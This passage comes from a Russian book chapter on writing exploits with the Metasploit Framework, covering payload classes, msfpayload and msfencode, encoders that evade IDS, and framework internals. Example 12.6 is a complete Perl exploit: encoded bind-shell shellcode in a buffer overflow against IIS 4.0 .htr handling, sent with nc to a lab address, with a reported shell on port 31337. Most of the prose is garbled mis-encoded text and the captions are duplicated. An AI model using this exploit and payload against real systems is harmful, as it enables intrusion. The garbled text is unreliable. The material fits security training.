ïóñòèìûõ ñèìâîëîâ. Ïî ñóòè äåëà, êàðêàñ áåðåò íà ñåáÿ âñþ ðàáîòû ïî ñîçäà-
íèþ è êîäèðîâàíèþ ïîëåçíîé íàãðóçêè, ïðåäëàãàÿ ïîëüçîâàòåëþ ëèøü âûá-
ðàòü åå òèï. Â ïîñëåäíþþ âåðñèþ Metasploit âêëþ÷åíî ñâûøå 65 ïîëåçíûõ
íàãðóçîê äëÿ äåâÿòè îïåðàöèîííûõ ñèñòåì íà ÷åòûðåõ àïïàðàòíûõ ïëàòôîð-
ìàõ. Êîíå÷íî, êàæäóþ èç íèõ ìû îáñóäèòü íå ñìîæåì, íî âñå æå îïèøåì
îñíîâíûå êàòåãîðèè.

Â êëàññ «Bind» âõîäÿò ïîëåçíûå íàãðóçêè, ïðèâÿçûâàþùèå çàïóñê îáîëî÷-
êè ê ïîðòó. Åñëè óäàëåííûé êëèåíò óñòàíîâèò ñîåäèíåíèå ñ ýòèì ïîðòîì íà
óÿçâèìîé ìàøèíå, òî ïîëó÷èò â îòâåò îáîëî÷êó. Ïîëåçíûå íàãðóçêè ñ îáðàò-
íûì âûçîâîì («Reverse shell») äåëàþò ïðàêòè÷åñêè òî æå ñàìîå, òîëüêî ñî-
åäèíåíèå èíèöèèðóåò æåðòâà, à íå êëèåíò. Êëàññ «Execute» ñîäåðæèò ïîëåç-
íûå íàãðóçêè, çàïóñêàþùèå íà óäàëåííîé ìàøèíå êîíêðåòíûå êîìàíäû,
à íàãðóçêè êëàññà «VNC» ïðåäîñòàâëÿþò  óäàëåííîìó êëèåíòó ãðàôè÷åñêèé
èíòåðôåéñ äëÿ óïðàâëåíèÿ âçëîìàííîé ìàøèíîé. Ñóùåñòâóåò ìåõàíèçì Me-
terpreter, êîòîðûé ïîçâîëÿåò äèíàìè÷åñêè âíåäðÿòü è èñïîëíÿòü ìîäóëè
â âèðòóàëüíîé ïàìÿòè ìàøèíû-æåðòâû. Ïîäðîáíåå îá ýòîì ñì. ñòàòüþ íà
ñàéòå www.nologin.com.

Рис. 12.30.Рис. 12.30.Рис. 12.30.Рис. 12.30.Рис. 12.30. Строка атаки, содержащая дорожку из команд NOP
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Êàðêàñ Metasploit ïðåäëàãàåò äâà èíòåðôåéñà äëÿ ãåíåðèðîâàíèÿ è êîäè-
ðîâàíèÿ ïîëåçíîé íàãðóçêè. Ñ Web-èíòåðôåéñîì, íàõîäÿùèìñÿ ïî àäðåñó
www.metasploit.com/ shellcode.html, ðàáîòàòü ïðîùå, íî äëÿ æåëàþùèõ èìå-
åòñÿ è êîìàíäíûé âàðèàíò, ñîñòîÿùèé èç óòèëèò msfpayload è msfencode. Ìû
íà÷íåì îáñóæäåíèå èìåííî ñ íèõ, à çàòåì ïîñìîòðèì, êàê ñäåëàòü òî æå ñà-
ìîå èç Web-èíòåðôåéñà.

Íà ðèñ. 12.31 ïîêàçàíî, ÷òî ïåðâûì äåëîì ïðè èñïîëüçîâàíèè óòèëèòû
msfpayload íóæíî âûâåñòè ñïèñîê âñåõ ïîëåçíûõ íàãðóçîê.

Рис. 12.31. Рис. 12.31. Рис. 12.31. Рис. 12.31. Рис. 12.31. Перечень имеющихся полезных нагрузок
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Ñïðàâêà ñîäåðæèò íå òîëüêî êîðîòêèå è äëèííûå íàçâàíèÿ ïîëåçíûõ íà-
ãðóçîê, íî è ïåðå÷åíü àðãóìåíòîâ, êîòîðûå ìîæíî çàäàòü â êîìàíäíîé ñòðî-
êå. Òàê êàê ìû àòàêóåì ïðîãðàììó, ðàáîòàþùóþ ïîä óïðàâëåíèåì ÎÑ
Windows íà ïëàòôîðìå x86, òî âûáèðàòü ñëåäóåò ëèøü íàãðóçêè ñ ïðåôèêñîì
win32. Îñòàíîâèìñÿ íà íàãðóçêå win32_bind, îòêðûâàþùåé íà óÿçâèìîé ìà-
øèíå ïîðò, ïðè ñîåäèíåíèè ñ êîòîðûì çàïóñêàåòñÿ îáîëî÷êà (ðèñ. 12.32). Ñëå-
äóþùèé øàã – çàäàòü ïàðàìåòðû ïîëåçíîé íàãðóçêè. Óêàçàâ â êîìàíäíîé
ñòðîêå èìÿ win32_bind è ôëàã S, ìû ïîëó÷èì äîïîëíèòåëüíóþ èíôîðìàöèþ
î âûáðàííîé ïîëåçíîé íàãðóçêå.

Рис. 12.32. Рис. 12.32. Рис. 12.32. Рис. 12.32. Рис. 12.32. Вывод параметров полезной нагрузки

Ó íåå åñòü äâà îáÿçàòåëüíûõ ïàðàìåòðà: EXITFUNC è LPORT, êîòîðûå ïî
óìîë÷àíèþ ðàâíû ñîîòâåòñòâåííî seh è 4444. Ïàðàìåòð EXITFUNC ãîâîðèò,
êàê ïîëåçíàÿ íàãðóçêà äîëæíà «ïðèáðàòü» çà ñîáîé, êîãäà çàêîí÷èò ðàáîòó.
Íåêîòîðûå óÿçâèìîñòè ìîæíî ýêñïëóàòèðîâàòü äî áåñêîíå÷íîñòè, åñëè
òîëüêî ïðàâèëüíî çàâåðøàòü èñïîëíåíèå. Â õîäå òåñòèðîâàíèÿ èìååò ñìûñë
îáðàùàòü âíèìàíèå íà òî, êàê ðàçëè÷íûå ñïîñîáû çàâåðøåíèÿ ñêàçûâàþòñÿ
íà ðàáîòå ïðèëîæåíèÿ. Ïàðàìåòð LPORT çàäàåò ïîðò, íà êîòîðîì ïîëåçíàÿ íà-
ãðóçêà áóäåò îæèäàòü çàïðîñîâ íà ñîåäèíåíèå.

×òîáû ñãåíåðèðîâàòü ïîëåçíóþ íàãðóçêó, äîñòàòî÷íî çàäàòü çíà÷åíèÿ ïà-
ðàìåòðîâ è âûõîäíîé ôîðìàò. Åñëè óêàçàòü ôëàã C, òî íàãðóçêà áóäåò âûâåäå-
íà â ôîðìàòå, ïðèãîäíîì äëÿ âñòàâêè â ïðîãðàììó íà ÿçûêå C, à åñëè ôëàã P –
òî â ñöåíàðèé íà ÿçûêå Perl. Ïîñëåäíèé ôëàã R âûâîäèò íàãðóçêó â äâîè÷íîì
ôîðìàòå äëÿ ñîõðàíåíèÿ â ôàéëå èëè ïåðåäà÷è ïî êîíâåéåðó óòèëèòå
msfencode. Ïîñêîëüêó ìû ñîáèðàåìñÿ çàêîäèðîâàòü ïîëåçíóþ íàãðóçêó, òî îíà
áóäåò íóæíà â äâîè÷íîì âèäå, òàê ÷òî çàïèøåì åå â ôàéë. Êðîìå òîãî, ñêà-
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æåì, ÷òî îáîëî÷êó íóæíî ïðèâÿçàòü â ïîðòó 31337. Íà ðèñ. 12.33 ïîêàçàíû
âàðèàíòû çàïóñêà ñ òðåìÿ ðàçíûìè ôëàãàìè, à òàêæå ðåçóëüòàòû ðàáîòû
â êàæäîì ñëó÷àå.

Рис. 12.33. Рис. 12.33. Рис. 12.33. Рис. 12.33. Рис. 12.33. Генерирование полезной нагрузки

Ïîñêîëüêó msfpayload íå ïûòàåòñÿ èçáåæàòü ïîÿâëåíèÿ íåäîïóñòèìûõ ñèì-
âîëîâ, òî ôîðìàòû äëÿ C è Perl ãîäÿòñÿ ëèøü, åñëè íåò íèêàêèõ îãðàíè÷åíèé
íà èñïîëüçóåìûå ñèìâîëû. Îáû÷íî ýòî íå òàê, ïîýòîìó äëÿ èñêëþ÷åíèÿ
«ïëîõèõ» ñèìâîëîâ íàãðóçêó ïðèõîäèòñÿ êîäèðîâàòü.

Â ïðîöåññå êîäèðîâàíèÿ íàãðóçêà ìîäèôèöèðóåòñÿ òàê, ÷òîáû â íåé íå
áûëî íåäîïóñòèìûõ ñèìâîëîâ. Â êà÷åñòâå ïîáî÷íîãî ýôôåêòà ýòîò ïðîöåññ
çàòðóäíÿåò îïîçíàíèå íàãðóçêè ñèñòåìàìè IDS. Ïðè êîäèðîâàíèè îáùèé ðàç-
ìåð ïîëåçíîé íàãðóçêè óâåëè÷èâàåòñÿ, òàê êàê â íåå âêëþ÷àåòñÿ äåêîäåð. Íà
ðèñ. 12.34 ïîêàçàíî, êàê áóäåò âûãëÿäåòü ïîëó÷èâøàÿñÿ ñòðîêà àòàêè.

Âõîäÿùàÿ â êàðêàñ Metasploit óòèëèòà msfencode âûïîëíÿåò âåñü ïðîöåññ êîäè-
ðîâàíèÿ, ïðèíèìàÿ íà âõîäå ðåçóëüòàò ðàáîòû msfpayload â äâîè÷íîì ôîðìàòå
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è ïðèìåíÿÿ îäèí èç íåñêîëüêèõ èìåþùèõñÿ êîäèðîâùèêîâ. Íà ðèñ. 12.35 ïîêà-
çàíû àðãóìåíòû msfencode, çàäàâàåìûå â êîìàíäíîé ñòðîêå.

Рис. 12.34. Рис. 12.34. Рис. 12.34. Рис. 12.34. Рис. 12.34. Строка атаки с закодированной
полезной нагрузкой и декодером

Рис. 12.35. Рис. 12.35. Рис. 12.35. Рис. 12.35. Рис. 12.35. Аргументы msfencode

Â òàáëèöå 12.1 ïåðå÷èñëåíû âêëþ÷åííûå â êàðêàñ Metasploit êîäèðîâùèêè
ñ êðàòêèì îïèñàíèåì è óêàçàíèåì ïîääåðæèâàåìîé àðõèòåêòóðû.

Таблица 12.1. Перечень имеющихся кодировщиков

Кодировщик Краткое описание Архитектура

Alpha2 Алфавитно�цифровой кодировщик x86
от группы Skylined

Countdown XOR�кодировщик Call $+4 x86
с обратным отсчетом

JmpCallAdditive Аддитивный XOR�кодировщик x86
Jmp/Call с обратной связью

None «Пустой» кодировщик все
OSXPPCLongXOR Кодировщик LongXOR для MacOS X ppc

на платформе PPC
OSXPPCLongXORTag Кодировщик LongXORTag для MacOS ppc

X на платформе PPC
Pex XOR�кодировщик двойных слов x86

Call $+4
PexAlphaNum Алфавитно�цифровой кодировщик x86

Pex
PexFnstenvMov XOR�кодировщик двойных слов x86

Fnstecn/mov переменной длины

Разработка эксплойтов с помощью каркаса Metasploit
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Таблица 12.1. Перечень имеющихся кодировщиков (окончание)

Кодировщик Краткое описание Архитектура

PexFnstenvSub XOR�кодировщик двойных слов x86
Fnstecn/sub переменной длины

QuackQuack XOR�кодировщик двойных слов для ppc
MacOS X на платформе PPC

ShikataGaNai Shikata Ga Nai x86
Sparc XOR�кодировщик двойных слов на sparc

платформе Sparc

×òîáû ïîâûñèòü øàíñû íà ïðîõîæäåíèå ïîëåçíîé íàãðóçêè ÷åðåç ôèëüò-
ðû, ìû çàêîäèðóåì åå, ïðåäñòàâèâ â âèäå ïîñëåäîâàòåëüíîñòè áóêâ è öèôð.
Äëÿ ýòîãî ìîæíî âîñïîëüçîâàòüñÿ êîäèðîâùèêîì Alpha2 èëè PexAlphaNum.
Ïîñêîëüêó ðàáîòàåò è òîò, è äðóãîé, îñòàíîâèìñÿ íà PexAlphaNum. Íà ðèñ. 12.36
ïîêàçàíà èíôîðìàöèÿ îá ýòîì êîäèðîâùèêå.

Рис. 12.36. Рис. 12.36. Рис. 12.36. Рис. 12.36. Рис. 12.36. Информация о кодировщике PexAlphaNum

Íà ïîñëåäíåì øàãå äâîè÷íàÿ ïîëåçíàÿ íàãðóçêà, ñîõðàíåííàÿ â ôàéëå
~/framework/payload, êîäèðóåòñÿ ñ ïîìîùüþ PexAlphaNum, ÷òîáû èçáàâèòüñÿ
îò íóëåâûõ ñèìâîëîâ. Ðåçóëüòàò ïðåäñòàâëåí íà ðèñ. 12.37.

Èòàê, âûáðàííûé íàìè êîäèðîâùèê ñãåíåðèðîâàë àëôàâèòíî-öèôðîâóþ
ïîëåçíóþ íàãðóçêó, íå ñîäåðæàùóþ íóëåé. Åå ðàçìåð îêàçàëñÿ ðàâåí 717 áàé-
òîâ. Çàêîäèðîâàííàÿ íàãðóçêà âûâåäåíà â ôîðìàòå Perl, ÷òîáû åå ìîæíî
áûëî íåïîñðåäñòâåííî âñòàâèòü â ñöåíàðèé ýêñïëîéòà.

Êàðêàñ Metasploit ïðåäëàãàåò òàêæå ãðàôè÷åñêèé âàðèàíò óòèëèò msfpayload è
msfencode, äîñòóïíûé ÷åðåç Web ïî àäðåñó www.metasploit.com/ shellcode.html.
Îí ïîçâîëÿåò âûâîäèòü òîëüêî òå ïîëåçíûå íàãðóçêè, êîòîðûå ñîîòâåòñòâó-
þò óêàçàííîé îïåðàöèîííîé ñèñòåìå è àïïàðàòíîé ïëàòôîðìå. Íà ðèñ. 12.38
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Рис. 12.37. Рис. 12.37. Рис. 12.37. Рис. 12.37. Рис. 12.37. Результат работы msfencode
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Рис. 12.38. Рис. 12.38. Рис. 12.38. Рис. 12.38. Рис. 12.38. Генерирование полезной нагрузки с помощью msfweb



626 Глава 12. Написание эксплойтов III

Рис. 12.39. Рис. 12.39. Рис. 12.39. Рис. 12.39. Рис. 12.39. Задание параметров полезной нагрузки в интерфейсе msfweb

Рис. 12.40. Рис. 12.40. Рис. 12.40. Рис. 12.40. Рис. 12.40. msfweb сгенерировал и закодировал полезную нагрузку

ïîêàçàí ðåçóëüòàò ôèëüòðàöèè ïî îïåðàöèîííîé ñèñòåìå. Â ñïèñêå íàõîäèò-
ñÿ íàãðóçêà Windows Bind Shell, ñ êîòîðîé ìû òîëüêî ÷òî ðàáîòàëè. Ñíîâà
âûáåðåì åå æå, äëÿ ÷åãî äîñòàòî÷íî ùåëêíóòü ïî ññûëêå.

Ïîñëå âûáîðà ïîëåçíîé íàãðóçêè ìû ïîïàäàåì íà ñòðàíèöó, ãäå ìîæíî çà-
äàòü ïàðàìåòðû êàê ñàìîé íàãðóçêè, òàê è êîäèðîâùèêà. Íà ðèñ. 12.39 âûá-
ðàí ïîðò 31337 è êîäèðîâùèê PexAlphaNum. Êðîìå òîãî, ìû ìîæåì óêàçàòü
ìàêñèìàëüíûé ðàçìåð ïîëåçíîé íàãðóçêè è íàáîð íåäîïóñòèìûõ ñèìâîëîâ.
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×òîáû ñãåíåðèðîâàòü è çàêîäèðîâàòü ïîëåçíóþ íàãðóçêó, äîñòàòî÷íî ùåë-
êíóòü ïî êíîïêå Generate PayloadGenerate PayloadGenerate PayloadGenerate PayloadGenerate Payload. Ðåçóëüòàò ïðåäñòàâëåí íà ðèñ. 12.40 â îáî-
èõ ôîðìàòàõ: äëÿ C è Perl.

Ðàññìîòðåâ ðàçëè÷íûå ìåòîäû, ñ ïîìîùüþ êîòîðûõ â êàðêàñå Metasploit
ìîæíî ñãåíåðèðîâàòü è çàêîäèðîâàòü ïîëåçíóþ íàãðóçêó, âñòàâèì åå â ñöåíà-
ðèé ýêñïëîéòà (ñì. ïðèìåð 12.6).

Пример 12.6. Пример 12.6. Пример 12.6. Пример 12.6. Пример 12.6. Сценарий для проведения атаки со вставленной
полезной нагрузкой
 1 $payload =

 2 "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".

 3 "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".

 4 "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".

 5 "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".

 6 "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".

 7 "\x4f\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58".

 8 "\x4e\x56\x46\x42\x46\x32\x4b\x48\x45\x44\x4e\x53\x4b\x38\x4e\x37".

 9 "\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x51\x4b\x38".

10 "\x4f\x45\x42\x32\x41\x50\x4b\x4e\x43\x4e\x42\x43\x49\x34\x4b\x58".

11 "\x46\x43\x4b\x58\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a".

12 "\x46\x58\x42\x4c\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50".

13 "\x44\x4c\x4b\x4e\x46\x4f\x4b\x53\x46\x55\x46\x32\x4a\x52\x45\x37".

14 "\x43\x4e\x4b\x58\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48".

15 "\x4e\x30\x4b\x54\x4b\x58\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x43\x30".

16 "\x4e\x32\x4b\x38\x49\x38\x4e\x56\x46\x32\x4e\x41\x41\x56\x43\x4c".

17 "\x41\x33\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x4b\x48\x42\x44".

18 "\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a\x4b\x38\x42\x44\x4a\x50".

19 "\x50\x35\x4a\x56\x50\x38\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f".

20 "\x48\x4d\x41\x33\x4b\x4d\x48\x56\x43\x55\x48\x46\x4a\x46\x43\x53".

21 "\x44\x33\x4a\x36\x47\x47\x43\x47\x44\x53\x4f\x35\x46\x45\x4f\x4f".

22 "\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x55\x4f\x4f".

23 "\x48\x4d\x4f\x55\x49\x38\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x30".

24 "\x44\x30\x45\x45\x4c\x46\x44\x30\x4f\x4f\x42\x4d\x4a\x56\x49\x4d".

25 "\x49\x30\x45\x4f\x4d\x4a\x47\x35\x4f\x4f\x48\x4d\x43\x45\x43\x45".

26 "\x43\x45\x43\x55\x43\x55\x43\x44\x43\x45\x43\x44\x43\x35\x4f\x4f".

27 "\x42\x4d\x48\x36\x4a\x46\x4c\x37\x49\x46\x48\x46\x43\x35\x49\x38".

28 "\x41\x4e\x45\x59\x4a\x46\x46\x4a\x4c\x31\x42\x47\x47\x4c\x47\x35".

29 "\x4f\x4f\x48\x4d\x4c\x46\x42\x31\x41\x55\x45\x45\x4f\x4f\x42\x4d".

30 "\x4a\x56\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x35\x4f\x4f\x48\x4d".

31 "\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x58".

32 "\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x45\x46\x45\x46\x45\x45\x55".

33 "\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x57".

34 "\x47\x35\x4f\x4f\x48\x4d\x45\x35\x4f\x4f\x42\x4d\x48\x46\x4c\x46".

35 "\x46\x56\x48\x56\x4a\x46\x43\x36\x4d\x56\x49\x38\x45\x4e\x4c\x46".

36 "\x42\x55\x49\x55\x49\x42\x4e\x4c\x49\x48\x47\x4e\x4c\x46\x46\x34".

37 "\x49\x48\x44\x4e\x41\x53\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x44".

38 "\x4d\x32\x50\x4f\x44\x44\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x33".

Разработка эксплойтов с помощью каркаса Metasploit
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39 "\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56\x44\x37\x50\x4f\x43\x4b\x48\x51".

40 "\x4f\x4f\x45\x57\x46\x44\x4f\x4f\x48\x4d\x4b\x35\x47\x35\x44\x55".

41 "\x41\x55\x41\x35\x41\x55\x4c\x56\x41\x30\x41\x45\x41\x55\x45\x55".

42 "\x41\x35\x4f\x4f\x42\x4d\x4a\x46\x4d\x4a\x49\x4d\x45\x30\x50\x4c".

43 "\x43\x35\x4f\x4f\x48\x4d\x4c\x36\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f".

44 "\x42\x4d\x4b\x38\x47\x45\x4e\x4f\x43\x48\x46\x4c\x46\x56\x4f\x4f".

45 "\x48\x4d\x44\x35\x4f\x4f\x42\x4d\x4a\x56\x42\x4f\x4c\x58\x46\x30".

46 "\x4f\x35\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a";

47
48 $string = "GET /";

49 $string .= "A" x 589;

50 $string .= "\x85\x63\xf7\x77";

51 $string .= $payload;

52 $string .=".htr HTTP/1.0\r\n\r\n";

53
54 open(NC, "|nc.exe 192.168.119.136 80");

55 print NC $string;

56 close(NC);

Â ñòðîêàõ 1–46 â ïåðåìåííóþ $payload çàíîñèòñÿ ïîëåçíàÿ íàãðóçêà.
Â ñòðîêàõ 48 è 52 çàäàåòñÿ âèä çàïðîñà ïî ïðîòîêîëó HTTP è ðàñøèðåíèå
èìåíè ôàéëà .htr, à â ñòðîêå 49 â çàïðîñ âñòàâëÿþòñÿ áàéòû, ïðåäøåñòâóþ-
ùèå àäðåñó âîçâðàòà. Ñàì àäðåñ âîçâðàòà äîïèñûâàåòñÿ â ñòðîêå 50, à çà íèì
â ñòðîêå 51 – ïîëåçíàÿ íàãðóçêà. Â ñòðîêàõ 54-56 íàõîäèòñÿ êîä, íåîáõîäè-
ìûé äëÿ ïåðåäà÷è äàííûõ ïî ñåòè. Îêîí÷àòåëüíî ñòðîêà àòàêè âûãëÿäèò,
êàê ïîêàçàíî íà ðèñ. 12.41.

Рис. 12.41. Рис. 12.41. Рис. 12.41. Рис. 12.41. Рис. 12.41. Окончательная строка атаки

Çàïóñòèâ ýêñïëîéò èç êîìàíäíîé ñòðîêè, ìû ìîæåì ïðîâåðèòü, êàê îí ïî-
âåäåò ñåáÿ íà ìàøèíå-æåðòâå. Ðåçóëüòàòû ïîêàçàíû íà ðèñ. 12.42.

Рис. 12.42. Рис. 12.42. Рис. 12.42. Рис. 12.42. Рис. 12.42. Успешный взлом машины MS Windows NT4 SP5 с IIS 4.0
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Â ïåðâîé ñòðîêå ýêñïëîéò çàïóùåí â ôîíîâîì ðåæèìå. ×òîáû ïðîâåðèòü,
ñðàáîòàë ëè îí, ìû ïîïðîáîâàëè ñîåäèíèòüñÿ ñ ïîðòîì 31337, çàäàííûì â
ïðîöåññå ãåíåðàöèè. Êàê âèäèòå, ñîåäèíåíèå óñòàíîâëåíî, è ìû ïîëó÷èëè
îáîëî÷êó íà óäàëåííîé ìàøèíå. Ñðàáîòàëî!

Интегрирование эксплойта
в каркас
Ñ óñïåõîì çàâåðøèâ ñîçäàíèå ýêñïëîéòà, ìû òåïåðü çàéìåìñÿ âîïðîñîì
î òîì, êàê âñòðîèòü åãî â êàðêàñ Metasploit Framework. Ìîäóëü, èíòåãðèðî-
âàííûé â êàðêàñ, èìååò ïî ñðàâíåíèþ ñ àâòîíîìíûì ýêñïëîéòîì íåìàëî
ïðåèìóùåñòâ. Áóäó÷è èíòåãðèðîâàí, ýêñïëîéò ïîëó÷àåò â ñâîå ðàñïîðÿæåíèå
òàêèå ìåõàíèçìû, êàê àâòîìàòè÷åñêîå ñîçäàíèå è êîäèðîâàíèå ïîëåçíîé íà-
ãðóçêè, ãåíåðèðîâàíèå NOP-êîìàíä, ïðîñòîé èíòåðôåéñ ñ ñîêåòàìè è àâòîìà-
òè÷åñêàÿ âñòàâêà ïîëåçíîé íàãðóçêè. Ìîäóëüíûå ïîäñèñòåìû êàðêàñà ïîçâî-
ëÿþò óëó÷øèòü ýêñïëîéò, íå ìåíÿÿ åãî êîäà, à òàêæå ïîääåðæèâàòü åãî â àê-
òóàëüíîì ñîñòîÿíèè. Â Metasploit âõîäèò ïðîñòîé API äëÿ îñíîâíûõ îïåðàöèé
ñ TCP è UDP-ñîêåòàìè, à òàêæå ïðîçðà÷íàÿ ðàáîòà ñ SSL è ïðîêñè-ñåðâåðàìè.
Êàê âèäíî èç ðèñ. 12.9, àâòîìàòèçàöèÿ ðàáîòû ñ ïîëåçíîé íàãðóçêîé ïîçâîëÿ-
åò óñòàíàâëèâàòü íåîáõîäèìûå ñîåäèíåíèÿ, íå ïðèáåãàÿ ê ïîìîùè âíåøíèõ
ïðîãðàìì è áåç íàïèñàíèÿ äîïîëíèòåëüíîãî êîäà. È, íàêîíåö, êàðêàñ ïðåäî-
ñòàâëÿåò ïîíÿòíûé ñòàíäàðòèçîâàííûé èíòåðôåéñ, ïîçâîëÿþùèé ñîçäàâàòü
è ïåðåäàâàòü ýêñïëîéòû â îáùåå ïîëüçîâàíèå ãîðàçäî ïðîùå, ÷åì ðàíüøå.
Ïðèíèìàÿ âî âíèìàíèå âñå ýòè äîñòîèíñòâà, íåóäèâèòåëüíî, ÷òî ðàçðàáîò-
÷èêè ýêñïëîéòîâ ñòàëè îòäàâàòü ïðåäïî÷òåíèå èìåííî êàðêàñàì.

Внутреннее устройство каркаса

Êàðêàñ Metasploit Framework íàïèñàí íà îáúåêòíî-îðèåíòèðîâàííîì Perl.
Âåñü êîä ÿäðà è áèáëèîòåê îñíîâàí íà èñïîëüçîâàíèè êëàññîâ, êàê è êàæäûé
îòäåëüíûé ìîäóëü ýêñïëîéòà. Ýòî îçíà÷àåò, ÷òî ðàçðàáîòêà ýêñïëîéòà äëÿ
êàðêàñà ñâîäèòñÿ ê íàïèñàíèþ íåêîòîðîãî êëàññà, êîòîðûé äîëæåí ñîîòâåò-
ñòâîâàòü API, ïðèíÿòîìó â Metasploit. Íî ïðåæäå ÷åì óãëóáèòüñÿ â äåòàëè
ñïåöèôèêàöèè êëàññà, ðàçðàáîò÷èê äîëæåí ïîíÿòü îñíîâíûå ïðèíöèïû ðà-
áîòû ÿäðà. Ïîýòîìó ïîäíèìåì êàïîò è îïèøåì âçàèìîäåéñòâèå ìåæäó ÿäðîì
è ýêñïëîéòîì íà âñåõ ýòàïàõ ðàçðàáîòêè è èñïîëíåíèÿ.

Ïåðâûé øàã â ïðîöåäóðå îðãàíèçàöèè àòàêè – âûáîð ýêñïëîéòà. Äëÿ ýòîãî
ïðèìåíÿåòñÿ êîìàíäà use, êîòîðàÿ çàñòàâëÿåò ÿäðî ñîçäàòü îáúåêò, ïðèíàäëå-
æàùèé êëàññó ýêñïëîéòà. Â ïðîöåññå ñîçäàíèÿ îáúåêòà êàðêàñ óñòàíàâëèâàåò

Интегрирование эксплойта в каркас
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ñâÿçü ìåæäó ýêñïëîéòîì è ÿäðîì, à îáúåêò ïðåäîñòàâëÿåò ÿäðó äîñòóï ê äâóì
âàæíûì ñòðóêòóðàì äàííûõ.

Ðå÷ü èäåò î ñòðóêòóðàõ %info è %advanced, êîòîðûå ìîæåò îïðîñèòü êàê
ïîëüçîâàòåëü, æåëàþùèé óçíàòü î ïîääåðæèâàåìûõ âîçìîæíîñòÿõ, òàê è
ÿäðî â õîäå ïîäãîòîâêè ýêñïëîéòà ê àòàêå. Êîãäà ïîëüçîâàòåëü ââîäèò êîìàí-
äó info, ÷òîáû ïîëó÷èòü îáÿçàòåëüíûå ïàðàìåòðû, èíôîðìàöèÿ èçâëåêàåòñÿ
èç ñòðóêòóð %info è %advanced. Ê íåé èìååò äîñòóï òàêæå è ÿäðî, åñëè îíà íóæ-
íà äëÿ ïðèíÿòèÿ ðåøåíèé. Êîãäà ïîëüçîâàòåëü çàïðàøèâàåò ïåðå÷åíü èìåþ-
ùèõñÿ ïîëåçíûõ íàãðóçîê ñ ïîìîùüþ êîìàíäû show payloads, ÿäðî ñ÷èòûâà-
åò äàííûå îá àïïàðàòíîé ïëàòôîðìå è îïåðàöèîííîé ñèñòåìå èç ñòðóêòóðû
%info, ïîýòîìó ïîëüçîâàòåëü ïîëó÷àåò ëèøü ñïèñîê ñîâìåñòèìûõ ïîëåçíûõ
íàãðóçîê. Âîò ïî÷åìó íà ðèñ. 12.9 â îòâåò íà êîìàíäó show payloads ïîêàçàíà
ëèøü ìàëàÿ ÷àñòü âñåãî ìíîæåñòâà ïîëåçíûõ íàãðóçîê.

Âûøå ìû óæå óïîìèíàëè, ÷òî äàííûå ìåæäó ÿäðîì Metasploit è ýêñïëîéòîì
ïåðåäàþòñÿ ñ ïîìîùüþ ïåðåìåííûõ îêðóæåíèÿ. Ïîýòîìó, êîãäà ïîëüçîâàòåëü
âûïîëíÿåò êîìàíäó set, óñòàíàâëèâàåòñÿ çíà÷åíèå ïåðåìåííîé, äîñòóïíîé êàê
ÿäðó, òàê è ýêñïëîéòó. Ñíîâà âîçâðàùàÿñü ê ðèñ. 12.9, ìû âèäèì, ÷òî ïîëüçîâà-
òåëü ïðèñâîèë ïåðåìåííîé îêðóæåíèÿ PAYLOAD çíà÷åíèå win32_bind; ïîçæå
ÿäðî ïðî÷èòàåò ýòó ïåðåìåííóþ, ÷òîáû óçíàòü, êàêóþ ïîëåçíóþ íàãðóçêó ãå-
íåðèðîâàòü äëÿ ýêñïëîéòà. Çàòåì ïîëüçîâàòåëü óñòàíîâèë ïðî÷èå îáÿçàòåëü-
íûå ïàðàìåòðû, ïîñëå ÷åãî çàïóñòèë ýêñïëîéò.

Êîìàíäà exploit èíèöèèðóåò àòàêó, êîòîðàÿ ñîñòîèò èç íåñêîëüêèõ ïîäøà-
ãîâ. Ñíà÷àëà ãåíåðèðóåòñÿ ïîëåçíàÿ íàãðóçêà â ñîîòâåòñòâèè ñî çíà÷åíèåì ïå-
ðåìåííîé îêðóæåíèÿ PAYLOAD. Çàòåì âûçûâàåòñÿ ïðèíèìàåìûé ïî óìîë÷à-
íèþ êîäèðîâùèê, äëÿ òîãî ÷òîáû óñòðàíèòü èç ïîëåçíîé íàãðóçêè íåäîïóñ-
òèìûå ñèìâîëû; åñëè åìó íå óäàëîñü ñäåëàòü ýòî, óëîæèâøèñü â îãðàíè÷åíèÿ
ïî ðàçìåðó, èñïîëüçóåòñÿ äðóãîé êîäèðîâùèê. Â êîìàíäíîé ñòðîêå ìîæíî
ñ ïîìîùüþ ïåðåìåííîé îêðóæåíèÿ Encode óñòàíîâèòü êîäèðîâùèê ïî óìîë-
÷àíèþ. Åñëè ïåðåìåííîé îêðóæåíèÿ EncodeDontFallThrough ïðèñâîèòü çíà÷å-
